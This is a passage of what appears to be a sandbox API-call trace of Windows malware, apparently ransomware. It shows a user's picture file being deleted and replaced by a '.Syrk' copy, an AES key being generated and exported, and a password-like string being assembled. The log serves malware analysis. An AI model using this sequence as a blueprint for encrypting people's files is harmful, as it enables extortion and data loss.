lpFilePart=0x0) returned 0x2c [0249.155] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg", lpFilePart=0x0) returned 0x2b [0249.155] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0249.155] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0249.155] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0249.155] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0249.155] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0249.155] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0249.156] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0249.156] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0249.156] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0249.156] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0249.156] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0249.156] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0249.156] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0249.156] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0249.156] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0249.156] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0249.157] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\gjalnsm9o_s.jpg")) returned 0x20 [0249.157] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0249.157] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg", lpFilePart=0x0) returned 0x2b [0249.159] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0249.159] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg", lpFilePart=0x0) returned 0x2b [0249.159] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0249.159] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0249.159] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg", lpFilePart=0x0) returned 0x2b [0249.159] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\gjalnsm9o_s.jpg\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0249.159] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0249.160] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0249.160] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0249.160] CoTaskMemFree (pv=0x3b0008) [0249.161] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\gjalnsm9o_s.jpg")) returned 0x20 [0249.161] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0249.161] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg", lpFilePart=0x0) returned 0x2b [0249.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0249.161] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\gjalnsm9o_s.jpg"), fInfoLevelId=0x0, lpFileInformation=0x238aadc | out: lpFileInformation=0x238aadc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x474f29e0, ftCreationTime.dwHighDateTime=0x1d99b11, ftLastAccessTime.dwLowDateTime=0x5ca9dbd0, ftLastAccessTime.dwHighDateTime=0x1d99c76, ftLastWriteTime.dwLowDateTime=0x5ca9dbd0, ftLastWriteTime.dwHighDateTime=0x1d99c76, nFileSizeHigh=0x0, nFileSizeLow=0x37bc)) returned 1 [0249.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0249.161] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\gjalnsm9o_s.jpg")) returned 1 [0249.163] EtwEventActivityIdControl () returned 0x0 [0249.163] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.164] EtwEventActivityIdControl () returned 0x0 [0249.164] EtwEventActivityIdControl () returned 0x0 [0249.164] EtwEventActivityIdControl () returned 0x0 [0249.170] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\gjalnsm9o_s.jpg.syrk")) returned 0x20 [0249.171] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\gjalnsm9o_s.jpg.syrk")) returned 0x20 [0249.171] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0249.171] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg.Syrk", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg.Syrk", lpFilePart=0x0) returned 0x30 [0249.171] EtwEventActivityIdControl () returned 0x0 [0249.171] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.172] EtwEventActivityIdControl () returned 0x0 [0249.172] EtwEventActivityIdControl () returned 0x0 [0249.172] EtwEventActivityIdControl () returned 0x0 [0249.176] EtwEventActivityIdControl () returned 0x0 [0249.176] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.177] EtwEventActivityIdControl () returned 0x0 [0249.177] EtwEventActivityIdControl () returned 0x0 [0249.177] EtwEventActivityIdControl () returned 0x0 [0249.188] EtwEventActivityIdControl () returned 0x0 [0249.188] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.188] EtwEventActivityIdControl () returned 0x0 [0249.188] EtwEventActivityIdControl () returned 0x0 [0249.188] EtwEventActivityIdControl () returned 0x0 [0249.191] EtwEventActivityIdControl () returned 0x0 [0249.191] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.192] EtwEventActivityIdControl () returned 0x0 [0249.192] EtwEventActivityIdControl () returned 0x0 [0249.192] EtwEventActivityIdControl () returned 0x0 [0249.195] EtwEventActivityIdControl () returned 0x0 [0249.195] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.195] EtwEventActivityIdControl () returned 0x0 [0249.195] EtwEventActivityIdControl () returned 0x0 [0249.195] EtwEventActivityIdControl () returned 0x0 [0249.198] EtwEventActivityIdControl () returned 0x0 [0249.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0249.250] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\gJalnSM9o_s.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\gjalnsm9o_s.jpg.syrk"), fInfoLevelId=0x0, lpFileInformation=0x2394378 | out: lpFileInformation=0x2394378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x102a0c90, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x102a0c90, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x102c6df0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x37d4)) returned 1 [0249.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0249.251] GetConsoleOutputCP () returned 0x1b5 [0249.251] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0249.251] GetConsoleOutputCP () returned 0x1b5 [0249.251] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0249.251] GetConsoleOutputCP () returned 0x1b5 [0249.251] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0249.251] GetConsoleOutputCP () returned 0x1b5 [0249.251] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0249.251] GetConsoleOutputCP () returned 0x1b5 [0249.252] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0249.252] GetConsoleOutputCP () returned 0x1b5 [0249.252] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0249.252] GetConsoleOutputCP () returned 0x1b5 [0249.252] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0249.252] GetConsoleOutputCP () returned 0x1b5 [0249.252] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0249.252] GetConsoleOutputCP () returned 0x1b5 [0249.253] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0249.253] GetConsoleOutputCP () returned 0x1b5 [0249.253] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0249.253] GetConsoleOutputCP () returned 0x1b5 [0249.253] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0249.253] GetConsoleOutputCP () returned 0x1b5 [0249.253] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0249.253] GetConsoleOutputCP () returned 0x1b5 [0249.253] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0249.253] GetConsoleOutputCP () returned 0x1b5 [0249.254] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0249.254] GetConsoleOutputCP () returned 0x1b5 [0249.254] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0249.254] GetConsoleOutputCP () returned 0x1b5 [0249.254] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0249.254] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0249.254] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0249.255] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23ae5dc*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x23ae5dc*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0249.255] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0249.255] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0249.256] EtwEventActivityIdControl () returned 0x0 [0249.256] EtwEventActivityIdControl () returned 0x0 [0249.256] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.256] EtwEventActivityIdControl () returned 0x0 [0249.256] EtwEventActivityIdControl () returned 0x0 [0249.257] EtwEventActivityIdControl () returned 0x0 [0249.258] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.259] EtwEventActivityIdControl () returned 0x0 [0249.259] EtwEventActivityIdControl () returned 0x0 [0249.259] EtwEventActivityIdControl () returned 0x0 [0249.261] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4cdd0) returned 1 [0249.262] CryptGenKey (in: hProv=0x5c4cdd0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99b60) returned 1 [0249.262] CryptContextAddRef (hProv=0x5c4cdd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0249.262] CryptExportKey (in: hKey=0x5c99b60, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0249.262] CryptExportKey (in: hKey=0x5c99b60, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x23b6204, pdwDataLen=0x5a2e8c4 | out: pbData=0x23b6204*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0249.262] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0249.263] EtwEventActivityIdControl () returned 0x0 [0249.263] EtwEventActivityIdControl () returned 0x0 [0249.263] EtwEventActivityIdControl () returned 0x0 [0249.264] SysStringLen (param_1="") returned 0x8 [0249.264] SysStringLen (param_1="a") returned 0x8 [0249.264] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.264] SysStringLen (param_1="ﻅ⥋쭟밧熻") returned 0x8 [0249.264] SysStringLen (param_1="ﻅ⥋쭟밧熻") returned 0x8 [0249.264] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.264] SysStringLen (param_1="a8") returned 0x8 [0249.264] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.264] SysStringLen (param_1="燸\鬏踘碶⺤\胙") returned 0x8 [0249.264] SysStringLen (param_1="燸\鬏踘碶⺤\胙") returned 0x8 [0249.264] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.264] SysStringLen (param_1="a85") returned 0x8 [0249.264] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.265] SysStringLen (param_1="蜥훙鵙喋ᆔꀟฟ஡") returned 0x8 [0249.265] SysStringLen (param_1="蜥훙鵙喋ᆔꀟฟ஡") returned 0x8 [0249.265] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.265] SysStringLen (param_1="a85s") returned 0x8 [0249.265] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.265] SysStringLen (param_1="䊋耟뽵ᛡ坷됢") returned 0x8 [0249.265] SysStringLen (param_1="䊋耟뽵ᛡ坷됢") returned 0x8 [0249.265] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.265] SysStringLen (param_1="a85s8") returned 0x8 [0249.265] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.265] SysStringLen (param_1="䚔근޶螑䥫婴ͥ") returned 0x8 [0249.265] SysStringLen (param_1="䚔근޶螑䥫婴ͥ") returned 0x8 [0249.265] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.266] SysStringLen (param_1="a85s8j") returned 0x8 [0249.266] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.266] SysStringLen (param_1="펈ᔱⓀﲈ馷娩") returned 0x8 [0249.266] SysStringLen (param_1="펈ᔱⓀﲈ馷娩") returned 0x8 [0249.266] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.266] SysStringLen (param_1="a85s8jU") returned 0x8 [0249.266] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.266] SysStringLen (param_1="素觎થ닾粴尳⢼맽") returned 0x8 [0249.266] SysStringLen (param_1="素觎થ닾粴尳⢼맽") returned 0x8 [0249.266] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.266] SysStringLen (param_1="a85s8jUl") returned 0x8 [0249.266] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0249.266] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿") returned 0x8 [0249.267] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿") returned 0x8 [0249.267] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿") returned 0x8 [0249.267] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿") returned 0x10 [0249.267] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.268] SysStringLen (param_1="a85s8jUlF㐱띒⦥粒乚에") returned 0x10 [0249.268] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.268] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ϝ↝㙶\俛⏑≬) returned 0x10 [0249.268] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ϝ↝㙶\俛⏑≬) returned 0x10 [0249.268] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.268] SysStringLen (param_1="a85s8jUlFW띒⦥粒乚에") returned 0x10 [0249.268] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.268] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿㵍辂寮꽷\ᛘഘ翜∑) returned 0x10 [0249.268] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿㵍辂寮꽷\ᛘഘ翜∑) returned 0x10 [0249.268] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.268] SysStringLen (param_1="a85s8jUlFWO⦥粒乚에") returned 0x10 [0249.268] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.268] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿⯌人禤ჶ̚拰뭰") returned 0x10 [0249.268] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿⯌人禤ჶ̚拰뭰") returned 0x10 [0249.269] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.269] SysStringLen (param_1="a85s8jUlFWOp粒乚에") returned 0x10 [0249.269] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.269] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿멎\⣜㧬᷃둨ⱸ赼⊴) returned 0x10 [0249.269] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿멎\⣜㧬᷃둨ⱸ赼⊴) returned 0x10 [0249.269] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.269] SysStringLen (param_1="a85s8jUlFWOpV乚에") returned 0x10 [0249.269] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.269] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿⥗宑犍Ⳉꮝᱫ妫") returned 0x10 [0249.269] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿⥗宑犍Ⳉꮝᱫ妫") returned 0x10 [0249.269] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.269] SysStringLen (param_1="a85s8jUlFWOpVu에") returned 0x10 [0249.269] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.270] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿덏騫彭捣讕녬聻") returned 0x10 [0249.270] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿덏騫彭捣讕녬聻") returned 0x10 [0249.270] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.270] SysStringLen (param_1="a85s8jUlFWOpVuQ") returned 0x10 [0249.270] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.270] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿❶\쀯ﶎ݀엸䵩⊝) returned 0x10 [0249.270] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿❶\쀯ﶎ݀엸䵩⊝) returned 0x10 [0249.270] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.270] SysStringLen (param_1="a85s8jUlFWOpVuQJ") returned 0x10 [0249.270] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0249.270] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹∳) returned 0x10 [0249.271] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹∳) returned 0x10 [0249.271] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹∳) returned 0x10 [0249.271] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹∳) returned 0x18 [0249.271] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.271] SysStringLen (param_1="a85s8jUlFWOpVuQJB箿恋㷜햿諟ﹷ") returned 0x18 [0249.271] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.271] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹簳乪睕㾡湲즹ᚹ杲∙) returned 0x18 [0249.272] SysStringLen (param_1="袞ತ쀻鍫爖뚣▿ࡧ䌪苃\㏚삶걣䳹簳乪睕㾡湲즹ᚹ杲∙) returned 0x18 [0249.272] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0249.272] SysStringLen (param_1="a85s8jUlFWOpVuQJBr恋㷜햿諟ﹷ") returned 